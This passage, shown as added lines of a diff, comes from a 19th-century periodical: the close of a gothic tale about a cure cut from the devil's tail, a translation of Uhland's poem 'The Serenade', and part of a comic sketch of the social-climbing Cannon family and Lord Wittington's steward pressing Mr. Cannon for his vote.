+visit you; drive her not away by ill-timed violence; here, let me hold
+your hand;" and she began again to murmur in a low tone,
+
+    "Strew thy poppies o'er his head,
+      Calm the fever of his mind."
+
+and so I fell asleep.
+
+When I awoke, my gentle cousin, (more constant than my heavenly
+visitant, Sleep,) was still seated by my side; all the rest were gone;
+candles burned on the table--it was midnight; I had slept for hours,
+she yet retained my hand. I looked at her, and burst into tears.
+
+"We are alone, Theodore," said my beloved; "tell me, I beseech you,
+what is labouring on your mind. You have spoken strange things during
+your sleep. You have declared that I had the power to restore you; can
+I do this? Theodore, be candid! Were it to cost my life, I would gladly
+lay it down to be of benefit to you."
+
+I could not answer her; but I clasped my arms round that pure, angelic
+form, and wept like an infant on her bosom.
+
+"Can I do you service, Theodore? You deny not what your lips murmured
+in sleep."
+
+"You can restore my reason, for you are the purest person that I know
+on earth."
+
+"By what means? But, alas! you are wandering still; this is one of your
+delusions! Would that it were in my power to heal thy mind, my dearest
+cousin."
+
+"In this, my heart's treasure, I am at least perfectly sane. _You have
+the power to cure me._"
+
+"Tell me the means."
+
+I related to ---- the whole of my adventures at Naples. I hid nothing
+from her excepting that our children might be infected with the same
+disease. Many reasons prevented my naming this. She was too delicate
+for me to allude to such a circumstance; I was willing to run all
+hazards of my posterity inheriting so dreadful a disease. My father had
+done as I intended to do; and the remedy was as open to _my_ offspring
+as to myself, for had not the cloaked stranger told me that "the tail
+would grow again"? Even without such growth, had it not notches enough
+for a whole line of my posterity, supposing them all in want of such a
+restorative.
+
+There was a pause of a full minute ere she spoke; her cheek was
+blanched, and her hand trembled in mine.
+
+"Theodore, I know not what to think, whether from madness or from
+sanity comes your wondrous tale; but I will go through it, come what
+may. I will see this being; and, should he be indeed the author of all
+evil, out of evil shall come good, for I have courage, for your dear
+sake, to take from him the horrid remedy; but speak not of it, even
+to your mother or your sisters. Ah, poor Emily! she too may need such
+help! I will procure enough for her also."
+
+Every thing was arranged. I was in that state that all I demanded was
+granted to me, for they feared to oppose my wishes. I entered the
+travelling carriage with my beautiful betrothed.
+
+We had no attendants. We drove to the same hotel in which I had been
+before. We were shown into the same room; but the marks upon the floor
+were gone,--new boards were there. We ordered dinner _for three_; and I
+went out in search of the cloaked stranger.
+
+It may seem strange that those who seek the devil, should seek in vain;
+but what is so perverse as the Origin of Evil?
+
+Towards the close of day I however brought him in, as lofty,
+proud-looking, and handsome as ever; his features bore the stamp of
+angelic beauty; but, alas! the expression was--_the fallen angel_. He
+saluted with much politeness, nay, even kindness, my lovely friend; and
+we entered at once upon the business.
+
+When he heard _who_ was to perform the operation, he absolutely turned
+pale, and made a thousand objections. Some other person might be found;
+but I, fool that I was! overruled them all, and insisted on it, that
+she was the purest person that I knew on earth.
+
+He then endeavoured to intimidate her; but she was resolute, though her
+lip quivered. We had a long argument about it, and most subtle was his
+reasoning. Yet he seemed as if he had no power absolutely to refuse.
+Reluctantly he drew from a secret pocket in his cloak a small steel
+hatchet, with many figures inscribed upon it. She received it at his
+hands; but I observed a fixedness in her beautiful eyes, and a rigidity
+about her mouth, that I did not like; still she grasped the shining
+instrument, and hesitated not. But, when his cloak fell off, oh, what a
+look of horror did those dear eyes assume!
+
+Slowly descended the voluminous appendage; its extreme end fell on the
+chair on which he had been sitting. She flew like lightning thither,
+raised the glittering tool, marked the precise spot, and severed at a
+blow "three notches of the devil's tail!"
+
+"Take--take your remedy, dear Theodore!" she whispered, "for I cannot
+touch it."
+
+I stooped, and took the severed quivering part, _but could not hold
+it for its heat_; so thrust it into my coat-pock; I then turned to
+congratulate my deliverer, _but she was a lifeless corpse at my feet_;
+and the stranger had vanished, I knew not and I cared not whither.
+
+How often have I called on madness, or on death, to take from me the
+memory of her loss! Neither would come! I have had no return of my
+malady, but I have experienced anguish fourfold! The only benefit
+derived has been that my sister Emily has been totally cured by the
+specific that was so dearly purchased, for it proved efficacious in
+both cases.
+
+Perchance it may prove useful for the future members of our family,
+should they be infected with this hereditary complaint; for myself, I
+shall never need it for my offspring, my affections are buried in the
+grave; but I have bequeathed it to my beloved sisters--with my hopes,
+more than my belief, that it may prove effective,--"the _three notches
+of the devil's tail_!"
+
+
+
+
+TRANSLATION FROM UHLAND.
+
+THE SERENADE.
+
+
+    What soft low strains are these I hear
+      That come my dreams between?
+    Oh! mother, look! who may it be
+      That plays so late at e'en?
+
+    "I hear no sound, I see no form;
+      Oh! rest in slumber mild:
+    They'll bring no music to thee now,
+      My poor, my sickly child!"
+
+    It is not music of the earth
+      That makes my heart so light;
+    The angels call me with their songs,
+      Oh! mother dear, good night!
+
+
+
+
+THE PORTRAIT GALLERY.--No. III.
+
+
+My friend was proceeding to relate many curious anecdotes of SIR RUBY
+RATBOROUGH, when a row of several portraits of persons I had seen
+abroad struck me. The librarian informed me that they were those of the
+Cannon family, who had long resided on the Continent; and I immediately
+recognised a most eccentric set of people, met so often, and at various
+places, with such a rapidity of locomotion, that many fancied they were
+gifted with ubiquity. The portraits, my conductor informed me, were
+taken at Florence; and their history might serve as a hint to artists.
+The painter had, unfortunately, commenced with the handsomest of the
+girls; and, having somewhat flattered the likeness, of course the
+family were delighted with his performance: but, when the older and the
+uglier Cannons came to sit, no flattery could render their portraits
+tolerable to them. The consequence was, that they were considered as
+bad resemblances, and left on the painter's hand; the more favoured
+young ones, of course, not being allowed by their indignant elders to
+take theirs away. I had heard so much of this family that I requested
+my friend to postpone our review of the political character, to give
+me some account of these wandering emigrants; and he gratified my
+curiosity by putting into my hands the following MS. containing a
+sketch of their adventures at home and abroad, drawn out by Quintilian
+Quaint.
+
+
+THE CANNON FAMILY.
+
+Who has not seen the Cannons in their Continental excursions? or, to
+use Mrs. Cannon's malapropic expression, their _incontinental_ tours?
+Whoever has strolled, or lounged, or lurked in a French _promenade_, a
+Spanish _alameda_, or an Italian _corso_, has fallen upon some branch
+of the family; nay, more properly, on two or three of them; for, if a
+body perchance hits upon one individual of that numerous race, he is
+sure to be rebounded on a brother or a sister, illustrating their name
+by making what is called a _canon_ in billiard-room parlance.
+
+So very _répandu_ is this moving train of curious ordnance, and
+the young ladies have been so walked about, and stalked about, and
+dragged about in pick-nicks, _déjeuners champêtres_, gipsy-parties,
+marooning-parties, through woods and forests, hills and dales,
+brushwood and underwood, that the witty Lady A---- called them _the
+field-pieces_.
+
+What took this family from their delightful box at Muckford, in
+Shropshire, to visit France, and Italy, and Germany; to paddle in the
+Seine, dabble in the Arno, and stroll with the rabble along the Rhine?
+Surely it must have been love of the fine arts, or the cultivation of
+foreign tongues, with the ladies; or pursuits of political economy,
+statistics, or the study of men and manners, with the gentlemen. Not
+in the least degree. The only paintings the fair part of the family
+admired were their own lovely faces. All foreign tongues were as
+foreign to them as Sanscrit. The only pursuit of polity that occupied
+Messrs. Cannons', senior and juniors, was where to find cheap wines and
+parsimonious amusements; their statistics, a census of the geese and
+turkeys, turbots and mullets, brought to market; and their study of the
+"varying shore o' the world" was, congregating with their countrymen,
+who, like themselves, disported their nonentity in gambling-houses and
+_restaurans_.
+
+What was it then that induced the Cannons to quit their delightful
+box in Shropshire? Simply because Lord Wittington and his family had
+purchased the estate of Myrtle-Grove, near unto Wick-Hall,--the name
+given by Mr. Cannon to his aforesaid delightful box. Now the motives
+that induced Mr. Commodus Cannon to bestow upon this box the euphonious
+appellation of _Wick-Hall_, arose from a natural association of ideas
+and a proper sense of gratitude; for, be it known, that Mr. Commodus
+Cannon had once been a tallow-chandler of great renown in the ward
+of Candlewick, in which business he had realised a large fortune;
+therefore, without much perplexity of the various ramifications of the
+brain, its circumvolutions and ventricles, it may be conjectured why
+his rural residence was denominated, despite all the arguments of the
+ladies, _Wick-Hall_.
+
+The next question that arose in the curious and impertinent minds of
+those who must know the causation of all causes, was, how did it come
+to pass that the arrival of the Earl of Wittington at Myrtle-Grove
+should have induced, in a manner direct or indirect, the family of
+an ex-tallow-chandler to migrate from a comfortable residence; to
+have left Muckford and their Penates, their well-trimmed lawns, their
+well-stocked gardens, their orchards and their paddocks, their dairy,
+and their brew-house, and their wash-house, and their ice-house, and
+their hot-house, their cosey fire-side and their snug bed-rooms, to
+wander about the world, and dwell in cold and dreary, or in broiling
+and stewing lodgings; drink sour _ordinaire_ wine instead of port,
+sherry, gooseberry, and nut-brown October; be cheated and laughed at
+by foreign servants, instead of being attended by worthy, homely, and
+honest domestics; and become the ridicule of strangers, instead of
+being respected and liked by their neighbours? How did it come to pass
+that the Earl of Wittington's arrival should have driven the Cannons
+away from their Eden? The reader who cannot guess it at once,--who
+gives it up, like a hard riddle or a puzzling conundrum,--must be
+stultified, unread, unsophisticated, never have subscribed to a
+circulating library. However, as dulness of intellect is more a
+misfortune than a fault, we shall kindly condescend to inform him.
+
+Myrtle-Grove had long been untenanted. Mr. Cannon was the wealthiest
+resident in or near the village; therefore was _Wick-Hall_ called "the
+squire's mansion." Now, stupid, do you take?
+
+Everybody has read Joe Miller. Now it may be recollected that, in that
+valuable vade-mecum of _very delightful_ and _charming fellows_, there
+is recorded the strange vanity of an ugly scholar in the College of
+Navarre, who maintained most strenuously and syllogistically,--nay,
+would have met any modern Crichton with a thesis on the subject to show
+and prove, that he was the greatest man in the world; and he argued
+that Europe being the finest part of the creation, France the most
+delightful country in Europe, Paris the most splendid city in France,
+the College of Navarre the most enlightened and precious establishment
+in Paris, his room unquestionably the best chamber in the college, and
+he most undoubtedly the greatest ornament in his room, _ergo_, he was
+the greatest man in the world.
+
+In the same train of ratiocination did the Cannons come to the
+conclusion that they were the magnates, the top-sawyers, the leaders
+of fashion of the village of Muckford. They patronised the Rev. Mr.
+Muzzle, the curate, whose meek back was suited to the burthen of a wife
+and eight little ones on fifty pounds a year; Mr. Hiccup, M.R.C.S.,
+who, to the duties of his profession in the attendance of man and
+beast, added the pursuits of rat and mole-catcher, perfumer, stationer,
+and tobacconist; and Mr. Sniffnettle, the attorney, solicitor,
+conveyancer, proctor, appraiser, auctioneer, poet-laureat and
+parish-clerk. A _hop_ at Wick-Hall was anticipated with as much delight
+by all the young and old ladies as the opening of Almacks; a game at
+loo or twopenny long-whist offered all the attractions of Crockford's;
+and the Sunday visits after church were as distinguished for figure and
+fashion as a St. James's drawing-room on a birth-day.
+
+This high patrician stand in society unfortunately made the Cannons
+proud,--some say haughty, supercilious, and arrogant. It might have
+been so; such is the nature of frail mortality, for, alas!
+
+              "Pride has no other glass
+    To show itself but pride; for supple knees
+    Feed arrogance!"
+
+and Mr. Muzzle, and Dr. Hiccup, and Mr. Sniffnettle, had their
+_vertebræ_ and their articulations so greased, and oiled, and
+anti-attritioned, that they would bob, and bend, and curl, and coil
+like a tom-cat's tail, whenever they visited the mansion.
+
+And strange dreams, and visions, and fantasies would be brewing in the
+brains of Mr. Cannon, both when sleeping and awake. He was wealthy; the
+Cannons had a dragon rampant for their crest, and _Crepo_ for their
+motto,--a motto that was traced to the discovery of a bronze figure of
+the Egyptian god Crepitus in the tomb of one of his noble ancestors.
+To this proud circumstance the family also owed the Christian-name of
+"Commodus," which the elder Cannon always bore,--Commodus being of
+Gallic origin. Sometimes Mr. Commodus Cannon thought that he might
+purchase a peerage by paying some damages incurred by indiscreet
+influential personages; sometimes he fancied that he might be created
+a baronet upon a mortgage, or a marriage of one of the Miss Cannons to
+some broken-down nobleman.
+
+But, alas! how transient are the visions of glory! of worldly
+greatness! Greatness--that gaudy torment of our soul!
+
+      "The wise man's fetter, and the rage of fools!"
+
+Lord Wittington arrived, and the Countess of Wittington, and the Ladies
+Desdemona Catson, and Arabella Catson, and Celestina Catson, and
+Euripida Catson, and the Hon. Tom Catson, and the Hon. Brindle Catson,
+with their aunt, Lady Tabby Catson; and all Muckford was in a state of
+commotion, of effervescence, of ebullition, boiling over with hope and
+fear. A comet wagging its tail over their steeple,--an eclipse, which
+would have set all the Muckfordians smoking bits of glass, and picking
+up fragments of broken bottles for astronomical observations,--could
+not have occasioned such a stir as the arrival of four travelling
+carriages, with dickeys and rumbles crowded with ladies' women,
+and gentlemen's gentlemen, rattling away with four post-horses to
+Myrtle-Grove.
+
+And now were speculations busily at work. The minds of Mahomet and
+Confucius, of Galileo and Copernicus, of Locke and Bacon, were idle
+when compared to the brains of the Muckfordians. What was the point
+in question? Was it the increase of business and of profit that
+would accrue from the consumption of these wealthy visitors?--No.
+Was it the advantages that might be derived from their parliamentary
+connexions and ministerial interest?--No. Was it the hopes that
+their residence might induce other rich families to inhabit the
+neighbourhood?--No--no--no! If the reader cannot guess, he must have
+lived at the antipodes, or in a desert, or never lived _in life_.
+The question was, "I wonder if his lordship and her ladyship will
+visit Wick-Hall?" No treaty of alliance, of commerce, of peace--no
+protocol that ever issued from the most perfect cerebral organ in
+Downing-street--was ever weighed with more momentous disquietude than
+this question, "I wonder if his lordship and her ladyship will visit
+Wick-Hall?"
+
+"I should think not," observed Mrs. Curate Muzzle; "the Wittingtons are
+great folks, and the Cannons were chandlers!"
+
+"Tallow-chandlers, my dear madam," remarked Mrs. Doctor Hiccup.
+
+"Had they even been wax-chandlers," added Mrs. Sniffnettle.
+
+"Or corn-chandlers," replied Mrs. Hiccup.
+
+"But a tallow-chandler," exclaimed Mr. Sniffnettle, who, as we have
+seen, was the laureat of Muckford, "as Gay says,
+
+    'Whether black, or lighter dies are worn,
+    The chandler's basket, on his shoulders borne,
+    With tallow spots thy coat.'"
+
+This appropriate quotation not only drew forth a loud laugh of
+approbation, but illumined the minds of the party as brightly as two
+pounds of fours might have enlightened Mr. Hiccup's back-shop parlour
+on a long-whist and welsh-rabbit night.
+
+"I'm sure I wish them no harm," remarked Mrs. Muzzle, with a benevolent
+smile; "but pride is a sad failing, which deserves to be brought down."
+
+"Oh, the deuce mend them!" rejoined Mrs. Sniffnettle; "if they're
+brought to their proper bearings a peg or two."
+
+"Because they had a little dirty cash--the Lord knows how they made
+it!--they were as pert as a pear-monger's horse!" exclaimed Mr. Hiccup.
+
+"Pride comes first, shame comes after," added Mr. Sniffnettle.
+
+"The priest forgets that he was a clerk," professionally observed Mrs.
+Muzzle.
+
+"I could put up with pride, now," said Mr. Hiccup, "from the
+Wittingtons."
+
+"Ay!" replied the poet, quoting Byron,
+
+    'The vile are only vain, the great are proud.'"
+
+"Exactly!" observed Mrs. Hiccup, who, like most persons doting upon
+poesy, did not understand what she most admired.
+
+Is it not strange that none of these ladies or gentlemen ever said "I
+wonder if _we_ shall be invited to Myrtle-Grove?"
+
+Whoever expected or fancied that on such an occasion such a thought
+could have entered any well-disposed and educated mind must be an
+ass. Who cares, if they are at the foot of the ladder, if those who
+are climbing up are properly rolled down? There is no need of crying
+"Heads below!" the grovellers will all get out of the way, and let the
+tumblers roll in the mire to their hearts' content. I mean the hearts'
+content of the lookers-on.
+
+Now, while this most important point was discussed by the chief
+authorities of Muckford, a question of still greater importance was
+agitated at Wick-Hall.
+
+"I wonder if we ought to call first upon the Wittingtons, or wait until
+they call upon us?" said Mrs. Cannon, after dinner.
+
+Mr. Commodus Cannon halted a glassful of port that was marching towards
+his mouth, and kept it suspended in air like Mahomet's tomb.
+
+Miss Molly Cannon delayed the cracking of a nut she had just introduced
+between two ivory grinders.
+
+Miss Biddy Cannon kept her hand under a roasted chestnut napkin,
+unconscious of its temperature, without withdrawing it.
+
+Miss Lucy Cannon cut into an orange she was carefully peeling with a
+steel knife; a circumstance that would have produced a galvanic thrill
+under other circumstances.
+
+Miss Kitty Cannon filled a bumper of cherry brandy instead of "just the
+least drop in the world."
+
+Mr. Cannon, junior, drove a toothpick in his gums instead of his teeth.
+
+George Cannon started, and trod on the cat's tail.
+
+Cornelius Cannon (commonly called Colcannon, having had an Irish
+godfather,) made a horrible mistake, by drinking out of his
+finger-glass instead of his tumbler.
+
+Peter Cannon used his damask napkin instead of a pocket-handkerchief;
+and Oliver Cannon, who had been lolling and rocking his chair, rolled
+off his centre of gravity.
+
+A dead silence followed the important question. The ghost of
+Chesterfield ought in mercy to have burst from his cerements to have
+answered it. Mr. Cannon first ventured to give an opinion--a judicious
+opinion.
+
+"Why, as to the matter of that," he said, scratching his brown
+wig,--which was, by-the-bye, an action which might have been called
+manual tautology, since it was a scratch already,--"as to the matter of
+that, it is clear that, if we are to be acquainted with his lordship,
+they must call upon us, or we must call upon them."
+
+Now, it is a matter worthy of consideration, that, in difficult and
+knotty points, perspicuity of language seldom or ever elucidates
+the business. Nothing could be more clear, more lucid, nay, more
+pellucid, than Mr. Commodus Cannon's remark,--more self-evident, more
+conclusive,--yet it only tended to make darkness visible. Mrs. Cannon,
+who possessed greater powers of eloquence, was therefore imperiously
+called upon for a rejoinder.
+
+"If you could think, Mr. Cannon, of waiting until my Lord
+What-do-you-call-him thinks proper to _honour_ us with a call, you are
+a mean-spirited, petty-minded fellow. I'd have you to know we are every
+inch as good as they are."
+
+"To be sure we are!" replied all the Cannons in one simultaneous and
+spontaneous roar, one well-fired volley of approbation without a
+straggling shot,--all but Mr. Cannon senior, who remained as still as a
+target.
+
+"We owe nothing to nobody," added the speaker; "and can hold up our
+heads as high as anybody that ever wore one."
+
+This reloaded the Cannons, and another fire of coincidence was let off.
+
+"If your nobility give themselves airs with us, let me tell you, Mr.
+Cannon, just look at your crest and your motto, and show them that you
+can let fly at them hollow."
+
+All applauded except Mr. Cornelius Cannon, who was a good Latin scholar.
+
+"For my part I wouldn't give a brass farthing--no, that's what I
+wouldn't--to know them, as it's ten to one they will be shortly
+wanting to borrow money from us; but, as we are neighbours, and we are
+longer resident at Muckford, it's our business to leave our cards with
+them, more especially as there's no _quality_ whatever in this here
+neighbourhood but ourselves."
+
+There was no necessity of putting this proposition to the vote; it was
+carried by _nem. diss._ acclamations, and the visit fixed upon that day
+week.
+
+Now, strange to say, by one of those singular anomalies in the
+human mind that puzzle metaphysicians, psychologists, materialists,
+and immaterialists, although this acquaintance with the family of
+Myrtle-Grove was not, to use Mrs. Cannon's expression, "worth a brass
+farthing," everything in the house, from the furniture to the young
+ladies, was turned topsy-turvy for a week. There was nothing but
+dusting, and polishing, and furbishing, and scrubbing, and rubbing, and
+bees'-waxing, and varnishing, and tweezing, and plucking, and puffing,
+and blowing at all ends; and swearing, and cursing, and shouting from
+the top of the stairs to come up, and bellowing from the foot of the
+stairs to come down; and souls, and eyes, and blood, and bones were
+sent the Lord knows where by the impatient gentlemen, while the ladies,
+who were too well bred to pronounce the vulgar name of the infernal
+regions, only wished every servant in the house a visit to the monarch
+of that grilling kingdom every hour of the day; and every horse, and
+every ass, nay, the very colts and fillies, shod and unshod, broken or
+unbroken, were sent to and fro from Wick-Hall to the neighbouring town,
+like buckets up and down a well, for silks, and ribands, and bobbins,
+and laces, and caps, and bonnets, and feathers, furs, and furbelows,
+and rouge-pots, and cold cream, and antique oil, and pomatum, and
+washes, and lotions, Circassian and Georgian, that were ever employed
+since the days of Jezebel to scrub out freckles and wrinkles, fill
+up pits and creases, pucker relaxed fibres and relax puckerings,
+eradicate warts, pimples, blossoms, excrescences, efflorescences,
+and effluences; with collyria for red eyes, and ointments for crusty
+eye-lids, liniments for gummy ankles, with odoriferous and balsamic
+tooth-powders, and gargles; with stores of swan and goose down for
+gigots, and rear-admirals, and polissons, and bussels; not to mention
+the means of throwing out various forms that distinguish the _beau
+idéal_ of the undulating line from the rigid severity of the straight
+line and the acute angle; while all the wigs, tops, toupets, fronts,
+tresses, plaits, curls, ringlets, black, brown, auburn, fair, and foxy,
+were put into requisition.
+
+It was not only physical brushing up that was resorted to; the mind
+received a proper frizzing; and Debrett's Peerage and Joe Miller, the
+Racing-calendar and the Court-guide, were studied during every leisure
+moment; while all the scandal-registering Sunday papers were devoured
+with avidity.
+
+Various were the accidents that arose in this confusion. Biddy Cannon
+broke a blood-vessel in straining her voice to D alt. in practising a
+fashionable Italian song. A pet cat of the same (who had been trodden
+on by George Cannon) was well nigh scalded to death by the overboiling
+of a pipkin of oil of cucumber for Lucy Cannon's sunburns; and Kitty
+Cannon caught a desperate sore-throat in trying to catch a hint of a
+fashionable walking-dress one rainy morning that the Ladies Catsons
+were riding out, peeping at them under a heavy shower from behind a
+holly hedge. Poor Kitty Cannon was in a most piteous plight from having
+made a trifling mistake in the use of some medicines sent her by Mr.
+Hiccup; for, in a very great hurry to try on an invisible corset,
+she rubbed her throat with some palma Christi oil, and swallowed a
+hartshorn liniment that had been intended for external use. In her
+burning agonies she of course kept the whole house in hot water, for
+everybody was so busy that nobody could attend upon the poor sufferer;
+who, unable to call out, and having torn up her bell by the roots, was
+only able to attract attention to her wants by throwing every thing
+she could lay hands on about the room, more especially water-jugs,
+basins, physic bottles, and every vessel within her reach. Mrs. Cannon
+swore she was an unnatural child; and her sisters accused her of being
+ill-natured and jealous when she disturbed them in their important
+occupations. In short, the Tower of Babel, or the Commons on an Irish
+question, were nothing to Wick-Hall, in-doors and out-of-doors, where
+the young Cannons were grooming, and docking, and trimming, and figging
+their horses.
+
+Mr. Commodus Cannon was the wisest of the party; he smoked his pipe,
+muddled over a bowl of punch, and only ordered his scratch wig to be
+_curled tight_, with the not unfrequent vulgar wish that the whole
+family might be _blown_ to the same exiguous dimensions. He was
+ambitious, but he did not like to be _bothered_ with any schemes but
+his own.
+
+The day, the great day, big with the fate of the Cannons, was drawing
+nigh, and impatiently looked for, as a circumstance had taken place
+which gave the Wick-Hall family much to think of and inwardly digest.
+
+Lady Tabby Catson, his lordship's aunt, was subject to night-mare and
+sleep-walking when in bed, and liable to fearful hysterics when out of
+it. Her case was altogether most distressing, since, according to her
+account, she could not lie on either side, was in agony when on her
+back, and distracted in any other position. A physician was called in,
+but, as he could only pay occasional visits, Mr. Hiccup was in constant
+attendance; and as the Ladies Catsons were well supplied with novels,
+and were of a most amiable disposition, Hiccup carried various new
+publications to his daughters, who immediately ran to show them to the
+Miss Cannons, calling the ladies by their Christian names with singular
+impertinence,--such a book having been lent by the beautiful Lady
+Arabella,--such a review by the lovely Lady Celestina. Moreover, Lady
+Tabby Catson, during the intermissions of her ailments, had fits of
+devotion that took her like stitches in the side, when Mr. Muzzle was
+instantly sent for in one of the carriages. Thus were the curate and
+the surgeon in constant attendance, and many little acts of kindness
+shown to them by the family, such as presents of fruits and flowers,
+all of which passed under the windows of Wick-Hall like the fearful
+regal apparitions to Macbeth; and, what was still more offensive,
+the favoured families, even the attorney, Sniffnettle, began to grow
+rigid in their vertebræ though in the heat of summer, walking past the
+Cannons with a mere nod of recognition, and preserving an insulting
+perpendicularity.
+
+There was no time to lose in recovering their lost ground, and the
+day for commencing a campaign that would terminate in the utter
+discomfiture of these vulgar intruders was fast approaching. But,
+alas for human and mortal hopes! one hour,--nay, one half-hour,--one
+quarter,--the time of reading a letter on foolscap paper, on letter
+paper, on note paper, only a few lines written in an intelligible
+unauthor-like hand, that required neither time nor spectacles, a hand
+that could be read running,--and all the airy fabric of the Cannons'
+visions was dissolved.
+
+It was on a Friday morning, the day previous to the intended
+visit,--one of those unlucky days in the calendar of human
+disappointments, the fifth day of the month, which, according to
+Hesiod, is inevitably calamitous; a day that gave birth to Pluto and
+the Eumenides; a day when the earth brought forth the monster Typhon,
+and those vile giants who dared the Father of the gods,--on this day
+did Mr. Commodus Cannon draw on his stockings the wrong side, the
+eldest Miss Cannon--I know not why or wherefore--took a morning walk
+among the nettles, and her sister Biddy spilled salt at breakfast,
+forgetting to propitiate the angry heavens by casting some over her
+left shoulder. A thundering rap at the hall-door made the whole family
+jump, start, and stare. A footman in the Wittington livery was at the
+door! he delivered a letter! Oh! how all the young hearts did beat
+and leap! and how the old fount of circulation of Mrs. Cannon did
+palpitate, as in days of yore! Scarcely had the door been closed, when
+the whole family, with the exception of Mr. Cannon, who was buttering
+toast, rushed like a torrent, or a cataract, or any thing else you
+like, to secure the missive, anxious as they were to ascertain its
+contents. Much time was lost in scrambling for possession of the
+letter, snatched alternately from hand to hand without any regard
+to filial duty or the rights of primogeniture. At last the letter,
+be-buttered, be-honeyed, be-marmaladed, and be-egged, fell into the
+possession of Miss Cannon. But oh! horror! instead of the broad
+armorial seal of the noble earl, the note was wafered!--ay, gentle
+reader, wafered!--moreover, the wafer, still damp, had been broken, and
+bent, and divided, exhibiting evident marks of having been moistened by
+an abundant secretion of the salivary glands! Oh, fie, my Lord W.!
+
+Philosophers and naturalists tell us there is a method in roasting
+eggs; now there is a method in closing letters, which has lately
+been adopted by a nobleman whom I have the honour to know, which may
+be considered a wrinkle in politeness. To his superiors, such as
+emperors, kings, popes, and newspaper editors, his lordship writes on
+coloured, perfumed, ornamented, and gilt-edged satin paper, and he
+closes his epistle with his armorials, six of which usually consume a
+stick of odoriferous wax. To his equals, though they are but few, he
+writes on paper somewhat inferior, with a smaller seal. To his titled
+inferiors, plain note paper, with a crest and motto. To his untitled
+correspondents, half a sheet of letter paper (it must be cut in an
+uneven and ragged manner), with a fancy seal, that his noble blazon may
+not be polluted by vulgar eyes. To people in business, cits, snobs, a
+wafer--but still a wafer--gently dipped in water. But to solicitors,
+postulants, petitioners, and humble applicants, he actually spits in
+their faces in the same manner as the Earl of Wittington spat in the
+crimson phiz of all the Cannons. But the offence did not rest there.
+MR. CANNON was on the superscription! ay, a plain MR.! a _Mr._ that
+could only be washed out in blood! a _Mr._ that would even make a
+respectable tailor jump from his shopboard, and grasp his goose with
+proper indignation.
+
+"Lord Wittington, wishing to become the purchaser of Mr. Cannon's
+paddock under Breakneck-Cliff, part of his domain, is willing to treat
+with him, and will direct his steward to call upon him. His lordship
+has been led to understand that Mr. Cannon's young men have been in the
+practice of shooting on his grounds; now his lordship wishes it to be
+distinctly understood that his keepers have received instructions to
+proceed with all the severity of the laws against trespassers."
+
+Mrs. Cannon of course fell into fits; Commodus Cannon cast his scratch
+_jasey_ into the fire; some of the young ladies rushed out of the
+room; others, in whom no rush had been left, drooped in or on various
+supporting parts of the furniture. The _young men_, as his lordship had
+dared to call Mr. Cannon's promising and amiable sons, bore the insult
+with all the calm dignity of men wantonly offended; they only bit their
+lips, turned pale and red, clenched their fists, and paced about the
+room at the rate of fourteen miles per hour, while the words "young
+men" were muttered and murmured in deadly indignation.
+
+"I'll be d----d if the fellow ever gets my paddock! sooner see him, and
+all his seed, breed, and generation, tumbling off Breakneck-Cliff!"
+
+The allocution of Leonidas to his Spartan heroes at the Thermopylæ
+could not have been more spirit-stirring than this short and pithy
+speech of Commodus Cannon; even Mrs. Cannon, forgetting, in a moment
+of just indignation, that female discretion that ought to characterise
+a lady's language, could not help supporting the vote by an amendment,
+exclaiming, "Ay, and doubly d----d too!"
+
+"And, moreover," added Mr. Cannon, "I'll be blown if I don't stick my
+paddock chokefull of buck-wheat, and not leave the fellow a pheasant or
+a partridge,--that's what I will!"
+
+It is difficult to say what dire plans of destruction and desolation
+might not have been suggested in the family council, had not another
+rap at the door, louder, if possible, and more authoritative than the
+footman's, interrupted the discussion. All and every one ran to the
+windows. Mr. Carrydot, Lord Wittington's steward, was at the entrance
+of Wick-Hall, and desired a private interview with Mr. Cannon.
+
+Mrs. Cannon reluctantly swept out of the room, followed by all the
+young ladies and the _young men_.
+
+Mr. Carrydot was a smart, dapper, little man, with a bald head, ferret
+eyes, aquiline nose tipped with purple, and with a prying countenance
+that would have picked out flaws in Magna Charta or the Bill of
+Rights. His costume sable; but coat, waistcoat, and unavoidables to
+match, were all of a different black, more or less rusty and shining;
+his coat-sleeves, or rather cuffs, were short, and allowed his duty
+wristbands to be seen puckered up above his hairy and meagre hands,
+and bony, long, crooked fingers, with hooked nails in half mourning.
+How comes it that the coat-sleeves of certain petty attorneys and
+apothecaries are generally too short, save and excepting when they have
+donned their Sabbath and visiting raiment? It surely must arise from
+the usual practice of extending the arms beyond the limits of their
+restrictions whenever a body is going to perform some dirty business,
+possibly and probably that the said dirty business may not stain the
+cloth they wear, since a cloth may be respectable although the wearer
+may be as spotted as a panther. Mr. Carrydot walked, or rather stalked
+in; and, without a bow or a preamble, seated himself, without being
+asked to take a seat.
+
+Cannon looked an encyclopedia of indignation.
+
+"His lordship has directed me to call upon you, Mr. Cannon, regarding
+the approaching county election. You can command several votes, sir?"
+
+"Of course, sir," replied Mr. Cannon, with a proper emphasis and
+conciseness.
+
+"You are aware, sir, that his lordship intends to put up Mr. Elfin
+Eelback, of Stoop-Lodge?"
+
+"Well, sir! what's that to me? What do I care for his lordship's
+candidate?"
+
+Bravo, Cannon! Mrs. Cannon would have inflicted a kiss had she been
+present.
+
+Mr. Carrydot's eyes glared with indignation, and beamed with _ousters_
+and _ejectments_, as he repeated the words, "What's that to you, sir!"
+
+"Ay!" replied Cannon, giving the table a liberal thump. "What the devil
+is it to me?"
+
+"Why, his lordship desires that you will vote for Mr. Eelback."
+
+"Then tell his lordship that I'd sooner see Mr. Eelback skinned alive!"
+
+Cannon was furious. Carrydot was calm, nay, he smiled; for the fury of
+Cannon spoke volumes of prospective _foreclosures_, and _distresses_,
+and _rescous_, and _replevin_, and _denial_; more especially as Cannon
+seemed to be a _good man_, with a silver urn and tea-pot on the table,
+and every appearance of wealth and independence about the goods and
+chattels on the premises. "You seem to forget, sir," he quietly
+replied, "that you only hold Wick-Hall upon a lease, and that your
+interest in the lease expires next Michaelmas."
+
+This was a thunderbolt to Cannon, who had laid out upwards of three
+thousand pounds on Wick-Hall.
+
+"What, sir, if I refuse to vote for this Eelback?"
+
+"You must turn out, sir, _nolens volens_; so sayeth the law!"
+
+"But justice, sir?"
+
+"So sayeth the law. Every man has a right to do what he likes with his
+own, Mr. Cannon."
+
+"What! whatever my political opinions may be?"
+
+"You must poll for his lordship's candidate."
+
+"This is infamous, oppressive, tyrannical!"
+
+"Perhaps you may think so. Your politics, as you say, may differ from
+those of his lordship, but his lordship must be in the right. _Primò_,
+he is lord of the manor; _secundò_, his property in the county is very
+considerable; and, _ergo_, he has a better right to know what is good
+for the people than a mere tenant."
+
+"But, sir, he has no right--"
+
